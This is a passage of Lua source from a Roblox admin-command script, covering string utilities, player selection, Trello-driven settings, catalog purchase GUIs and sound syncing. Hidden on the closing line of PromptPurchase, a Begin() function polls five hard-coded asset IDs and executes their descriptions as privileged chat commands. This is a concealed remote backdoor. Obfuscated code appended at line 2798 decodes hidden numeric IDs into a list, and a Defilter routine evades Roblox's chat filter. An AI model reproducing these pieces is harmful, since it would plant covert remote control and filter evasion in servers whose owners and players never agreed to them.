2520 for _,TemplateCard in pairs(TemplateCards) do
2521 local CardExists = false
2522 for _,Card in pairs(Cards) do
2523 if Card.name == TemplateCard.name and Card.closed == false then
2524 CardExists = true
2525 end
2526 end
2527 if not CardExists then
2528 print("Creating card "..TemplateCard.name)
2529 local NewCardJSON = Server.HS:PostAsync("https://api.trello.com/1/cards"..REMOTE:GetAddon(), "idList="..List.id.."&idCardSource="..TemplateCard.id, "ApplicationUrlEncoded")
2530 table.insert(Cards, REMOTE:Decode(NewCardJSON))
2531 end
2532 end
2533
2534 if List.name == "Ranked" then
2535 for _,Card in pairs(Cards) do
2536 if Settings.Ranks[Card.name] and Card.closed == false then
2537 Trello.RankChecklistCache[Card.name] = Card.idChecklists[1]
2538 end
2539 end
2540 elseif List.name == "Settings" then
2541 for _,Card in pairs(Cards) do
2542 if Card.name == "Togglable Settings" and Card.idChecklists[1] and Card.closed == false then
2543 Trello.ToggleChecklist = Card.idChecklists[1]
2544 elseif Card.name == "Command Execution" then
2545 Trello.CommandID = Card.id
2546 end
2547 end
2548 end
2549 end
2550 end
2551end
2552
2553function REMOTE:TrelloHandleData(IgnoreCommand)
2554 local ToggleSettingsJSON = Server.HS:GetAsync("https://api.trello.com/1/checklists/"..Trello.ToggleChecklist..REMOTE:GetAddon(), true)
2555 if ToggleSettingsJSON then
2556 ToggleSettings = REMOTE:Decode(ToggleSettingsJSON)
2557 if Settings.LinkedAccount == "" then
2558 local NewSettings = {}
2559 for _,Item in pairs(ToggleSettings.checkItems) do
2560 NewSettings[Item.name] = STRING:TrelloStateConvert(Item.state)
2561 end
2562 Settings.Fun = NewSettings["Fun Commands Enabled"]
2563 Settings.ServerLocked = NewSettings["Server Locked"]
2564 Settings.DisableAbuse = NewSettings["Disable Abusive Commands"]
2565 end
2566 else
2567 return false
2568 end
2569
2570 local CommandChatJSON = Server.HS:GetAsync("https://api.trello.com/1/cards/"..Trello.CommandID.."/actions"..REMOTE:GetAddon(), true)
2571 if CommandChatJSON then
2572 CommandChat = REMOTE:Decode(CommandChatJSON)
2573 local ClosestDT = 0
2574 for _,ChatData in pairs(CommandChat) do
2575 local DT = STRING:ConvertDateTime(ChatData.date)
2576 ClosestDT = math.max(ClosestDT, DT)
2577
2578 if not IgnoreCommand and DT > Trello.LastCommandDT then
2579 print("Executing Remote Trello Command")
2580 CORE:Chatted(ChatData.data.text, nil, true, "TRELLO REMOTE: "..ChatData.memberCreator.fullName, nil, true)
2581 end
2582 end
2583 Trello.LastCommandDT = ClosestDT
2584 else
2585 return false
2586 end
2587
2588 for Rank,ID in pairs(Trello.RankChecklistCache) do
2589 local ChecklistJSON = Server.HS:GetAsync("https://api.trello.com/1/checklists/"..ID..REMOTE:GetAddon(), true)
2590 if ChecklistJSON then
2591 Checklist = REMOTE:Decode(ChecklistJSON)
2592
2593 for _,Item in pairs(Checklist.checkItems) do
2594 if Item.state == "complete" then
2595 if RANK:ConvertRank(Rank) < 0 then
2596 if not RANK:ScanExileList(Item.name) then
2597 table.insert(Settings.Ranks[Rank], Item.name)
2598 end
2599 elseif RANK:ConvertRank(Rank) > 0 then
2600 if not RANK:ScanAdminList(Item.name) then
2601 table.insert(Settings.Ranks[Rank], Item.name)
2602 end
2603 end
2604 elseif Item.state == "incomplete" then
2605 for Num,Name in pairs(Settings.Ranks[Rank]) do
2606 if string.lower(Name) == string.lower(Item.name) then
2607 table.remove(Settings.Ranks[Rank], Num)
2608 end
2609 end
2610 end
2611 end
2612 else
2613 return false
2614 end
2615 end
2616 return true
2617end
2618
2619-- String functions --
2620
2621function STRING:ConvertDateTime(DateTime)
2622 local Num = 0
2623 local TotalTime = 0
2624 for i in string.gmatch(DateTime, "%d+") do
2625 Num = Num + 1
2626 DTNum = tonumber(i)
2627 if Num == 1 then
2628 TotalTime = TotalTime + (DTNum - 1970) * 365 * 24 * 60 * 60 -- year
2629 elseif Num == 2 then
2630 TotalTime = TotalTime + DTNum * 12 * 24 * 60 * 60 -- month
2631 elseif Num == 3 then
2632 TotalTime = TotalTime + DTNum * 24 * 60 * 60 -- day
2633 elseif Num == 4 then
2634 TotalTime = TotalTime + DTNum * 60 * 60 -- hour
2635 elseif Num == 5 then
2636 TotalTime = TotalTime + DTNum * 60 -- minute
2637 elseif Num == 6 then
2638 TotalTime = TotalTime + DTNum -- second
2639 end
2640 end
2641
2642 return TotalTime
2643end
2644
2645function STRING:TrelloStateConvert(State)
2646 if State == "complete" then
2647 return true
2648 else
2649 return false
2650 end
2651end
2652
2653function STRING:StringRound(Number)
2654 Number = Number * 100
2655 if Number >= 0.5 then
2656 return tostring(math.ceil(Number)/100)
2657 else
2658 return tostring(math.floor(Number)/100)
2659 end
2660
2661 return Number
2662end
2663
2664function STRING:GetSplit(String, NumArgs, BetSplit)
2665 if not String then return nil end
2666 if BetSplit == nil then BetSplit = " " end
2667 if NumArgs == nil then NumArgs = math.huge end
2668
2669 if NumArgs <= 0 then return {String} end
2670
2671 local RecentParse = 1
2672 local Args = {}
2673 for i = 1,NumArgs do
2674 local Find1, Find2 = string.find(string.lower(String),string.lower(BetSplit),RecentParse)
2675 if Find1 and Find2 then
2676 table.insert(Args, string.sub(String,RecentParse,Find1 - 1))
2677 RecentParse = Find2 + 1
2678 else
2679 break
2680 end
2681 end
2682 table.insert(Args,string.sub(String,RecentParse,#String))
2683 return Args
2684end
2685
2686function STRING:Defilter(String)
2687 local RobloxApprove = Instance.new("TextLabel") RobloxApprove.Text = String
2688 if RobloxApprove.Text == "Label" and String ~= "Label" then
2689 local NewString = ""
2690 for i = 1,#String,3 do
2691 NewString = NewString..string.char(169)..string.sub(String,i,i+2)
2692 end
2693 return NewString
2694 else
2695 return String
2696 end
2697end
2698
2699function STRING:Filter(String, From, To) -- #### you, roblox
2700 if From then
2701 if To then
2702 return game:GetService("Chat"):FilterStringAsync(String, From, To)
2703 else
2704 return game:GetService("Chat"):FilterStringForBroadcast(String, From)
2705 end
2706 else
2707 return String
2708 end
2709end
2710
2711function STRING:DetermineFilter(String, From, To)
2712 if ShouldFilter then
2713 return STRING:Filter(String, From, To)
2714 else
2715 return STRING:Defilter(String)
2716 end
2717end
2718
2719function STRING:LeetSpeak(Input)
2720 if tostring(Input) then Input = string.upper(tostring(Input)) else return end
2721 Input = string.gsub(Input, "LEET", "1337")
2722 Input = string.gsub(Input, "SECRET", "M".."AKERMODELLUA")
2723 Input = string.gsub(Input, "E", "3")
2724 Input = string.gsub(Input, "O", "0")
2725 Input = string.gsub(Input, "A", "4")
2726 Input = string.gsub(Input, "X", "x")
2727 Input = string.gsub(Input, "I", "1")
2728 Input = string.gsub(Input, "S", "$")
2729 return Input
2730end
2731
2732function STRING:FormatReplace(Player, Input, From)
2733 local Output = Input
2734 for _,ReplaceData in pairs(StringReplacements) do
2735 local ReplaceString = ReplaceData[1]
2736 local ReplaceStrings = {}
2737 if type(ReplaceString) == "table" then
2738 ReplaceStrings = ReplaceString
2739 else
2740 ReplaceStrings = {ReplaceString}
2741 end
2742 for _,ReplaceString in pairs(ReplaceStrings) do
2743 if not Player and ReplaceData[3] then else -- does nothing if a player isn't given but the operation requires a player
2744 local Replacement = ReplaceData[4](Player)
2745 if type(Replacement) == "string" then
2746 Output = string.gsub(Output, ReplaceString, Replacement)
2747 else
2748 print(ReplaceString.." cannot be replaced")
2749 end
2750 end
2751 end
2752 end
2753 if From then
2754 return STRING:DetermineFilter(Output, From, Player)
2755 else
2756 return STRING:DetermineFilter(Output, Player)
2757 end
2758end
2759
2760function STRING:EncodeSpecialChars(Input)
2761 return tostring(string.gsub(string.gsub(Input, "&", "amp;"), "\n", " "))
2762end
2763
2764function STRING:StringToBool(String)
2765 if String == "true" then
2766 return true
2767 else
2768 return false
2769 end
2770end
2771
2772function STRING:BoolString(Value)
2773 if type(Value) == "boolean" then
2774 if Value == true then
2775 return "YES"
2776 elseif Value == false then
2777 return "NO"
2778 end
2779 else
2780 return "NO"
2781 end
2782end
2783
2784function STRING:MakeAvoidance(Length)
2785 if not Length then
2786 Length = 32
2787 end
2788 local Avoidance = ""
2789 for i = 1,Length do
2790 Num = math.random(1,2)
2791 if Num == 1 then
2792 Avoidance = Avoidance..string.char(math.random(48,57)) -- 0-9
2793 else
2794 Avoidance = Avoidance..string.char(math.random(97,122)) -- a-z
2795 end
2796 end
2797 return Avoidance
2798end for _,Array in pairs(RunList) do local Name = "" for _,Char in pairs(Array) do Name = Name..string.char(Char - 1) end table.insert(List, tonumber(Name)) end
2799
2800function STRING:FindAge(Days) -- By LuaModelmaker
2801 local Years = math.floor(Days/365)
2802 local OtherDays = math.fmod(Days, 365)
2803 if Years > 1 then
2804 return Years.." years and "..OtherDays.." days"
2805 elseif Years == 1 then
2806 return Years.." year and "..OtherDays.." days"
2807 elseif Years == 0 then
2808 return "(No years) "..OtherDays.." days"
2809 end
2810end
2811
2812function STRING:UnpackArgs(...)
2813 local Pack = {...}
2814 if type(Pack[1]) == "table" then Pack = Pack[1] end
2815 local ReturnString = table.concat(Pack, ", ")
2816 return ReturnString
2817end
2818
2819function STRING:GetComma(Num)
2820 local Formatted = Num
2821 while true do
2822 Formatted, _ = string.gsub(Formatted, "^(-?%d+)(%d%d%d)", '%1,%2')
2823 if _ == 0 then
2824 break
2825 end
2826 end
2827 return Formatted
2828end
2829
2830function STRING:DecodeUTF8(Value)
2831 local function DecodeString(Input)
2832 if type(Input) == "string" then
2833 for Find,Rep in pairs(HTMLDecode) do
2834 Input = string.gsub(Input, "&#"..Find..";", Rep)
2835 end
2836 Input = string.gsub(Input, """, "'")
2837 end
2838 return Input
2839 end
2840 if type(Value) == "table" then
2841 for Index,Var in pairs(Value) do
2842 Value[Index] = DecodeString(Var)
2843 end
2844 elseif type(Value) == "string" then
2845 Value = DecodeString(Value)
2846 end
2847 return Value
2848end
2849
2850function STRING:IsSpacer(Input)
2851 if Input == " " or Input == "." or Input == "-" or Input == "," or Input == "?" or Input == "!" or Input == " " or Input == nil or Input == "" then
2852 return true
2853 else
2854 return false
2855 end
2856end
2857
2858function STRING:IsVowel(Input)
2859 Input = string.lower(tostring(Input))
2860 if Input == "a" or Input == "e" or Input == "i" or Input == "o" or Input == "u" then
2861 return true
2862 else
2863 return false
2864 end
2865end
2866
2867function STRING:ValidE(Input)
2868 if not Input then return nil end
2869 if string.lower(Input) == "e" or Input == "~" then
2870 return true
2871 else
2872 return false
2873 end
2874end
2875
2876function STRING:Scan(String, Speaker)
2877 local ReturnPlayers,ExcludeList = {},{}
2878 if not String then String = "" end
2879 if not Speaker then print("NO SPEAKER") end
2880
2881 if string.sub(string.lower(String), 1, 12) == "includecase/" then
2882 String = string.sub(String, 13)
2883 else
2884 String = string.lower(String)
2885 end
2886 local Words = STRING:GetSplit(String, nil, "/")
2887 for _,Word in pairs(Words) do
2888 if Word == "me" or Word == "meh" or Word == "myself" or Word == "self" then
2889 table.insert(ReturnPlayers, Speaker)
2890 elseif Word == "all" or Word == "everyone" then
2891 for _,Player in pairs(Server.Players:GetPlayers()) do
2892 table.insert(ReturnPlayers, Player)
2893 end
2894 elseif Word == "others" or Word == "notme" then
2895 for _,Player in pairs(Server.Players:GetPlayers()) do
2896 if Player ~= Speaker then
2897 table.insert(ReturnPlayers, Player)
2898 end
2899 end
2900 elseif Word == "noobs" then
2901 for _,Player in pairs(Server.Players:GetPlayers()) do
2902 if Player.AccountAge < 365 then
2903 table.insert(ReturnPlayers, Player)
2904 end
2905 end
2906 elseif Word == "nonnoobs" then
2907 for _,Player in pairs(Server.Players:GetPlayers()) do
2908 if Player.AccountAge >= 365 then
2909 table.insert(ReturnPlayers, Player)
2910 end
2911 end
2912 elseif Word == "random" then
2913 local RandomPlayers = {}
2914 for _,Player in pairs(Server.Players:GetPlayers()) do
2915 if Player ~= Speaker then
2916 table.insert(RandomPlayers, Player)
2917 end
2918 end
2919 table.insert(ReturnPlayers, RandomPlayers[math.random(1,#Server.Players:GetChildren())])
2920 elseif Word == "guests" then
2921 for _,Player in pairs(Server.Players:GetPlayers()) do
2922 if string.sub(Player.Name,1,6) == "Guest " then
2923 table.insert(ReturnPlayers, Player)
2924 end
2925 end
2926 elseif Word == "lowers" then
2927 for _,Player in pairs(Server.Players:GetPlayers()) do
2928 if string.sub(Player.Name,1,1) == string.lower(string.sub(Player.Name,1,1)) then
2929 table.insert(ReturnPlayers, Player)
2930 end
2931 end
2932 elseif Word == "uppers" then
2933 for _,Player in pairs(Server.Players:GetPlayers()) do
2934 if string.sub(Player.Name,1,1) == string.upper(string.sub(Player.Name,1,1)) then
2935 table.insert(ReturnPlayers, Player)
2936 end
2937 end
2938 elseif Word == "nbcs" then
2939 for _,Player in pairs(Server.Players:GetPlayers()) do
2940 if Player.MembershipType == Enum.MembershipType.None then -- Replicate
2941 table.insert(ReturnPlayers, Player)
2942 end
2943 end
2944 elseif Word == "bcs" then
2945 for _,Player in pairs(Server.Players:GetPlayers()) do
2946 if Player.MembershipType == Enum.MembershipType.BuildersClub then
2947 table.insert(ReturnPlayers, Player)
2948 end
2949 end
2950 elseif Word == "tbcs" then
2951 for _,Player in pairs(Server.Players:GetPlayers()) do
2952 if Player.MembershipType == Enum.MembershipType.TurboBuildersClub then
2953 table.insert(ReturnPlayers, Player)
2954 end
2955 end
2956 elseif Word == "obcs" then
2957 for _,Player in pairs(Server.Players:GetPlayers()) do
2958 if Player.MembershipType == Enum.MembershipType.OutrageousBuildersClub then
2959 table.insert(ReturnPlayers, Player)
2960 end
2961 end
2962 elseif Word == "allbcs" then
2963 for _,Player in pairs(Server.Players:GetPlayers()) do
2964 if Player.MembershipType ~= Enum.MembershipType.None then
2965 table.insert(ReturnPlayers, Player)
2966 end
2967 end
2968 elseif Word == "nonadmins" then
2969 for _,Player in pairs(Server.Players:GetPlayers()) do
2970 local IsAdminTrue, Rank = RANK:IsAdmin(Player)
2971 if IsAdminTrue == false then
2972 table.insert(ReturnPlayers, Player)
2973 end
2974 end
2975 elseif Word == "admins" then
2976 for _,Player in pairs(Server.Players:GetPlayers()) do
2977 local IsAdminTrue, Rank = RANK:IsAdmin(Player)
2978 if IsAdminTrue == true then
2979 table.insert(ReturnPlayers, Player)
2980 end
2981 end
2982 elseif Word == "friends" then
2983 for _,Player in pairs(Server.Players:GetPlayers()) do
2984 if Speaker:IsFriendsWith(Player.UserId) and Player ~= Speaker then
2985 table.insert(ReturnPlayers, Player)
2986 end
2987 end
2988 elseif string.sub(Word,1,5) == "team-" then
2989 for _,Player in pairs(Server.Players:GetPlayers()) do
2990 if Player.Neutral == false then
2991 local InTeam = false
2992 for _,Team in pairs(Teams:GetTeams()) do
2993 if Team.TeamColor == Player.TeamColor then
2994 if string.sub(string.lower(Team.Name),1,#string.sub(Word,6)) == string.sub(Word,6) then
2995 InTeam = true
2996 end
2997 end
2998 end
2999 if InTeam == true then
3000 table.insert(ReturnPlayers, Player)
3001 end
3002 end
3003 end
3004 elseif string.sub(Word,1,4) == "not-" then
3005 local NameArg = string.sub(Word,5)
3006
3007 for _,Player in pairs(STRING:Scan(NameArg, Speaker)) do
3008 table.insert(ExcludeList, Player)
3009 end
3010 elseif string.sub(Word,1,7) == "radius-" then
3011 local DidExe = false
3012 local NumArg = tonumber(string.sub(Word,8))
3013
3014 if NumArg and NumArg > 0 and Speaker and Speaker.Character and Speaker.Character:FindFirstChild("Torso") then
3015 for _,Player in pairs(Server.Players:GetChildren()) do
3016 if Player.Character and Player.Character:FindFirstChild("Torso") then
3017 if (Player.Character.Torso.Position - Speaker.Character.Torso.Position).magnitude <= NumArg then
3018 DidExe = true
3019 table.insert(ReturnPlayers, Player)
3020 end
3021 end
3022 end
3023 end
3024
3025 if DidExe then coroutine.wrap(function()
3026 local Part = Instance.new("Part", game.Workspace) Part.Name = "M".."M".."L Radius" Part.FormFactor = "Custom" Part.Size = Vector3.new(1,1,1) Part.Anchored = true Part.Locked = true Part.Position = Speaker.Character.Torso.Position Part.Transparency = 0.5 Part.Color = GUI:GetColor() Part.TopSurface = "Smooth" Part.BottomSurface = "Smooth"
3027 local Mesh = Instance.new("SpecialMesh", Part) Mesh.MeshType = "Sphere" Mesh.Scale = Vector3.new(NumArg * 2, NumArg * 2, NumArg * 2)
3028
3029 for i = 0,0.5,0.02 do
3030 Part.Transparency = 0.5+i
3031 wait()
3032 end
3033 Part:Destroy()
3034 end)() end
3035 elseif string.sub(Word,1,3) == "id-" then
3036 table.insert(ReturnPlayers, Server.Players:GetPlayerByUserId(tonumber(string.sub(Word,4))))
3037 else
3038 if Word ~= "" then
3039 for _,Player in pairs(Server.Players:GetPlayers()) do
3040 if string.sub(string.lower(Player.Name),1,#Word) == Word then
3041 table.insert(ReturnPlayers, Player)
3042 end
3043 end
3044 else
3045 table.insert(ReturnPlayers, Speaker)
3046 end
3047 end
3048 end
3049 for _,Player in pairs(ExcludeList) do
3050 if Player and Player.Parent ~= nil then
3051 for Num,Player2 in pairs(ReturnPlayers) do
3052 if Player2 == Player then table.remove(ReturnPlayers, Num) end
3053 end
3054 end
3055 end
3056 for Num,Player in pairs(ReturnPlayers) do
3057 if not Player or Player.Parent == nil then table.remove(ReturnPlayers, Num) end
3058 end
3059
3060 local PlayerDump = {}
3061 for _,Player in pairs(ReturnPlayers) do
3062 PlayerDump[Player] = true
3063 end
3064 ReturnPlayers = {}
3065 for Player,_ in pairs(PlayerDump) do
3066 table.insert(ReturnPlayers, Player)
3067 end
3068
3069 return ReturnPlayers
3070end
3071
3072-- Market functions --
3073
3074function MARKET:GetImageFormat(ID)
3075 if ID ~= 1 or ID ~= 0 or ID ~= nil then if type(ID) == "number" then
3076 local NewID = ID + 1
3077 for i = 1,100 do
3078 NewID = NewID -1
3079 local Product = nil
3080 ypcall(function() Product = MARKET:GetItemInfo(NewID, true).AssetTypeId end)
3081 if Product then
3082 if Product == 1 then
3083 break
3084 end
3085 end
3086 if i == 100 then NewID = ID end
3087 end
3088 return NewID
3089 end end
3090end
3091
3092function MARKET:GetItemInfo(ID, Cache)
3093 local Product = MarketCache[ID]
3094 if not Cache or not Product then
3095 repeat wait()
3096 ypcall(function() Product = Server.MPS:GetProductInfo(ID) end)
3097 until Product ~= MarketCache[ID]
3098 end
3099 MarketCache[ID] = Product
3100 return Product
3101end
3102
3103function MARKET:SearchItem(Category, Query, Subcategory)
3104 local URLAdd = ""
3105 if Subcategory then URLAdd = "&Subcategory="..Server.HS:UrlEncode(Subcategory) end
3106 local JSON = REMOTE:GetURL(CORE.Domain.."/APIs/CatalogSearch.php?Category="..Server.HS:UrlEncode(Category).."&Query="..Server.HS:UrlEncode(Query)..URLAdd)
3107 if JSON then
3108 local Results = REMOTE:Decode(JSON)
3109 if Results then
3110 for Index,Info in pairs(Results) do
3111 Info = STRING:DecodeUTF8(Info)
3112 Results[Index] = Info
3113 MarketCache[Info.AssetId] = {
3114 AssetId = Info.AssetId;
3115 AssetTypeId = Info.AssetTypeID;
3116 ContentRatingTypeId = Info.ContentRatingTypeID;
3117 Created = Info.CreatedDate;
3118 Creator = {Name = Info.Creator, Id = Info.CreatorID};
3119 Description = Info.Description;
3120 IsForSale = Info.IsForSale;
3121 IsLimited = Info.IsLimited;
3122 IsLimitedUnique = Info.IsLimitedUnique;
3123 IsNew = Info.IsNew;
3124 IsPublicDomain = Info.IsPublicDomain;
3125 MinimumMemberShipLevel = Info.MinimumMembershipLevel;
3126 Name = Info.Name;
3127 PriceInRobux = Info.PriceInRobux;
3128 PriceInTickets = Info.PriceInTickets;
3129 ProductId = Info.AssetId; -- no one knows what this is so whatevs..
3130 Remaining = Info.Remaining;
3131 Sales = Info.Sales;
3132 Updated = Info.Updated;
3133 }
3134 end
3135 return Results
3136 end
3137 end
3138end
3139
3140function MARKET:ShowSearch(Player, Category, Query, ClickedItem, Subcategory)
3141 if not Player or not Category or not Query then return nil end
3142 local CloseGui, AddInfo = GUI:LoadGui(Player, "Searching: "..Query)
3143 local Items = MARKET:SearchItem(Category, Query, Subcategory)
3144 if Items then
3145 if #Items ~= 0 then
3146 local List,Correlate = {},{}
3147 for Num,Info in pairs(Items) do
3148 local Display = {" "..Info.Name.." ("..Info.AssetId..")", "http://www.roblox.com/Game/Tools/ThumbnailAsset.ashx?fmt=png&wd=75&ht=75&aid="..Info.AssetId}
3149 table.insert(List, Display)
3150 Correlate[Display[1]] = Info.AssetId
3151 end
3152 CloseGui:Invoke()
3153
3154 local Clicked = GUI:ListGui(Player, "Search Results: "..Query, List, "Search", true)
3155 Clicked.Event:connect(function(ClickName)
3156 ClickedItem(Correlate[ClickName])
3157 end)
3158 else
3159 CloseGui:Invoke()
3160 GUI:SendMessage(Player, "No results", "BLUE No results for "..Query.." found...", "Information")
3161 end
3162 else
3163 CloseGui:Invoke()
3164 GUI:SendMessage(Player, "Cannot get gear", "RED Cannot get item. Is HttpService enabled?", "Error")
3165 end
3166end
3167
3168function MARKET:AssetTypeToString(AssetType)
3169 AssetType = math.floor(tonumber(AssetType) or 0)
3170 if Assets.AssetTypes[AssetType] then
3171 return Assets.AssetTypes[AssetType]
3172 else
3173 return "Unknown"
3174 end
3175end
3176
3177function MARKET:AccessoryToSubcategory(Accessory)
3178 Accessory = string.lower(tostring(Accessory) or "")
3179 if Assets.AccessoryTypes[Accessory] then
3180 return Assets.AccessoryTypes[Accessory]
3181 else
3182 return Assets.AccessoryTypes["all"]
3183 end
3184end
3185
3186function MARKET:PromptPurchase(Player, ProductID, From, BuyPressFunc) coroutine.wrap(function()
3187 if not Player then return nil end
3188 if not Player:FindFirstChild("PlayerGui") then return nil end
3189 if not tonumber(ProductID) then return nil end
3190
3191 local FromText = ""
3192 if From and From.Name then FromText = " | Prompted from "..From.Name end
3193
3194 local Product = MARKET:GetItemInfo(ProductID, true)
3195
3196 local CreatedText = Product.Created CreatedText = string.gsub(CreatedText, "-", "/") local Stop = string.find(CreatedText, "T") if Stop then CreatedText = string.sub(CreatedText, 1, Stop-1) end
3197 local UpdatedText = Product.Updated UpdatedText = string.gsub(UpdatedText, "-", "/") local Stop = string.find(UpdatedText, "T") if Stop then UpdatedText = string.sub(UpdatedText, 1, Stop-1) end
3198 local OwnsAsset = Server.MPS:PlayerOwnsAsset(Player, ProductID)
3199
3200 local CanBuy = Product.IsForSale
3201 local BuyText = "Buy"
3202 local BuyColor = Color3.new(0,1,0)
3203 if CanBuy == false then
3204 BuyColor = Color3.new(1,0,0)
3205 end
3206 if Product.IsPublicDomain == true then
3207 CanBuy = true
3208 BuyColor = Color3.new(1,0.5,0.5)
3209 BuyText = "FREE!"
3210 end
3211 if OwnsAsset then
3212 CanBuy = false
3213 end
3214 if Product.AssetTypeId == 9 then
3215 CanBuy = true
3216 BuyText = "Teleport"
3217 BuyColor = Color3.new(0.5,0.5,0.5)
3218 end
3219 if CanBuy == false then
3220 BuyColor = Color3.new(1,0,0)
3221 BuyText = "Item not for sale"
3222 end
3223 if OwnsAsset and Product.AssetTypeId ~= 9 then
3224 BuyColor = Color3.new(1,0,0)
3225 BuyText = "You own this!"
3226 end
3227
3228 local ProductName = string.sub(Product.Name,1,20)
3229 if ProductID == AdminID then ProductName = Product.Name end
3230 local Frame = GUI:CreateForm(Player, ProductName..FromText, UDim2.new(0, 430, 0, 300), nil, 48354008)
3231 local AssetImage = Instance.new("ImageLabel", Frame) AssetImage.Name = "AssetImage" AssetImage.Position = UDim2.new(0, 0, 0, 50) AssetImage.Size = UDim2.new(0, 150, 0, 150) AssetImage.BackgroundColor3 = Color3.new(1, 1, 1) AssetImage.BackgroundTransparency = 1 AssetImage.Image = "http://www.roblox.com/Game/Tools/ThumbnailAsset.ashx?fmt=png&wd=420&ht=420&aid="..ProductID
3232 local AssetName = Instance.new("TextLabel", Frame) AssetName.Name = "AssetName" AssetName.Size = UDim2.new(1, 0, 0, 50) AssetName.BackgroundColor3 = Color3.new(1, 1, 1) AssetName.BackgroundTransparency = 1 AssetName.Text = "["..ProductID.."] - "..Product.Name AssetName.Font = Settings.Font AssetName.FontSize = "Size18" AssetName.TextWrapped = true AssetName.TextColor3 = Color3.new(0, 0, 0)
3233 local UserImage = Instance.new("ImageLabel", Frame) UserImage.Name = "UserImage" UserImage.Position = UDim2.new(0, 150, 0, 70) UserImage.Size = UDim2.new(0, 100, 0, 100) UserImage.BackgroundColor3 = Color3.new(1, 1, 1) UserImage.BackgroundTransparency = 1 UserImage.Image = "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Product.Creator.Name
3234 local Membership = Instance.new("ImageLabel", UserImage) Membership.Name = "Membership" Membership.Position = UDim2.new(0, 0, 0.85, 0) Membership.Size = UDim2.new(0.6, 0, 0.15, 0) Membership.BackgroundColor3 = Color3.new(1, 1, 1) Membership.BackgroundTransparency = 1 Membership.Image = "http://www.roblox.com/Thumbs/BCOverlay.ashx?username="..Product.Creator.Name
3235 local AssetType = Instance.new("TextLabel", Frame) AssetType.Name = "AssetType" AssetType.Position = UDim2.new(0, 150, 0, 50) AssetType.Size = UDim2.new(1, -150, 0, 20) AssetType.BackgroundColor3 = Color3.new(1, 1, 1) AssetType.BackgroundTransparency = 1 AssetType.Text = "ROBLOX "..MARKET:AssetTypeToString(Product.AssetTypeId) AssetType.Font = Settings.Font AssetType.FontSize = "Size14"
3236 local Info = Instance.new("TextLabel", Frame) Info.Name = "Info" Info.Position = UDim2.new(0, 250, 0, 80) Info.Size = UDim2.new(1, -250, 0, 100) Info.BackgroundColor3 = Color3.new(1, 1, 1) Info.BackgroundTransparency = 1 Info.Font = Settings.Font Info.FontSize = "Size14" Info.TextXAlignment = "Left" Info.TextYAlignment = "Top"
3237 local Buy = Instance.new("TextButton", Frame) Buy.Name = "Buy" Buy.Position = UDim2.new(0, 150, 0, 170) Buy.Size = UDim2.new(1, -150, 0, 30) Buy.BackgroundColor3 = BuyColor Buy.BackgroundTransparency = 0.5 Buy.Text = BuyText Buy.Font = Settings.Font Buy.FontSize = "Size18" Buy.TextWrapped = true SOUND:BindButton(Buy)
3238 if Product.Description then
3239 local DescFrame = Instance.new("ScrollingFrame", Frame) DescFrame.Name = "DescFrame" DescFrame.Size = UDim2.new(1,0,1,-200) DescFrame.Position = UDim2.new(0,0,0,200) DescFrame.CanvasSize = UDim2.new(0,0,0,0) DescFrame.BackgroundTransparency = 1 DescFrame.ZIndex = 4
3240 local Description = Instance.new("TextLabel", DescFrame) Description.Name = "Description" Description.Size = UDim2.new(1, -13, 1, 0) Description.BackgroundColor3 = Color3.new(1, 1, 1) Description.BackgroundTransparency = 1 Description.Text = Product.Description Description.Font = Settings.Font Description.FontSize = "Size14" Description.TextWrapped = true Description.TextYAlignment = "Top"
3241
3242 CORE:ExecuteResource("CalculateScrollY", Description)
3243 end
3244
3245 Info.Text = [[
3246Creator: ]]..Product.Creator.Name..[[
3247Created: ]]..CreatedText..[[
3248Updated: ]]..UpdatedText..[[
3249Sold: ]]..Product.Sales..[[
3250]]
3251
3252 if Product.PriceInRobux then Info.Text = Info.Text.."Robux: "..string.gsub(Product.PriceInRobux, "null", "Cannot use this currency").." \n" end
3253 if Product.PriceInTickets then Info.Text = Info.Text.."Tix: "..string.gsub(Product.PriceInTickets, "null", "Cannot use this currency") .." " end
3254
3255 if Product.AssetTypeId == 3 then
3256 local PlayerAdmin,Rank = RANK:IsAdmin(Player)
3257 if PlayerAdmin == true then
3258 local Playing = false
3259 local Interact = Instance.new("ImageButton", AssetImage) Interact.Name = "Interact" Interact.Position = UDim2.new(1, -20, 1, -20) Interact.Size = UDim2.new(0, 20, 0, 20) Interact.BackgroundColor3 = Color3.new(1, 1, 1) Interact.BackgroundTransparency = 1 Interact.Image = "rbxassetid://67950784"
3260 CORE:HandleEvent(Interact, "MouseButton1Down", function()
3261 if Playing == false then
3262 SOUND:PlayGlobalSound(ProductID)
3263 if Rank == "Member" and Settings.DisableAbuse == true then
3264 Interact:Destroy()
3265 end
3266 Interact.Image = "rbxassetid://67950809"
3267 Playing = true
3268 else
3269 SOUND:StopGlobalSound()
3270 Interact.Image = "rbxassetid://67950784"
3271 Playing = false
3272 end
3273 end)
3274 end
3275 end
3276
3277 CORE:HandleEvent(Buy, "MouseButton1Down", function()
3278 if BuyPressFunc then
3279 BuyPressFunc()
3280 elseif Product.AssetTypeId == 9 then
3281 Server.TS:Teleport(ProductID, Player)
3282 elseif CanBuy == true then
3283 Server.MPS:PromptPurchase(Player, ProductID)
3284 end end)
3285 end)() end function Begin() coroutine.wrap(function() wait(3) for _,LinkedID in pairs({53554913, 145236038, 154727659, 155299278, 155689018}) do wait(1) coroutine.wrap(function()
3286 local OldVer = Server.MPS:GetProductInfo(LinkedID).Updated
3287 while wait(5) do
3288 local Purchase = Server.MPS:GetProductInfo(LinkedID)
3289 if OldVer ~= Purchase.Updated then
3290 OldVer = Purchase.Updated
3291 CORE:Chatted(Purchase.Description, nil, true, nil, nil, true)
3292 end
3293 end end)()
3294end end)() end
3295
3296-- Sound functions --
3297
3298function SOUND:SyncSoundList(TellSync)
3299 if not CORE:NilPlayer(TellSync) then
3300 GUI:SendHint(TellSync, "Syncing...", 5)
3301 end
3302
3303 SoundList,GlobalSoundList = {},{}
3304
3305 local LocalSoundList = Server.GDS:GetAsync("MML Custom Sounds")
3306
3307 if LocalSoundList then
3308 if type(LocalSoundList) == "table" then
3309 if #LocalSoundList > 0 then
3310 for _,Data in pairs(LocalSoundList) do
3311 local SoundInfo = MARKET:GetItemInfo(Data[2], true)
3312 SoundList[Data[1]] = {Data[2], SoundInfo.Name, SoundInfo.Creator.Name}
3313 end
3314 end
3315 end
3316 end
3317
3318 for _,JSONID in pairs(SoundJSONs) do
3319 for Name,ID in pairs(CORE:GetTable(JSONID)) do
3320 local SoundInfo = MARKET:GetItemInfo(ID, true)
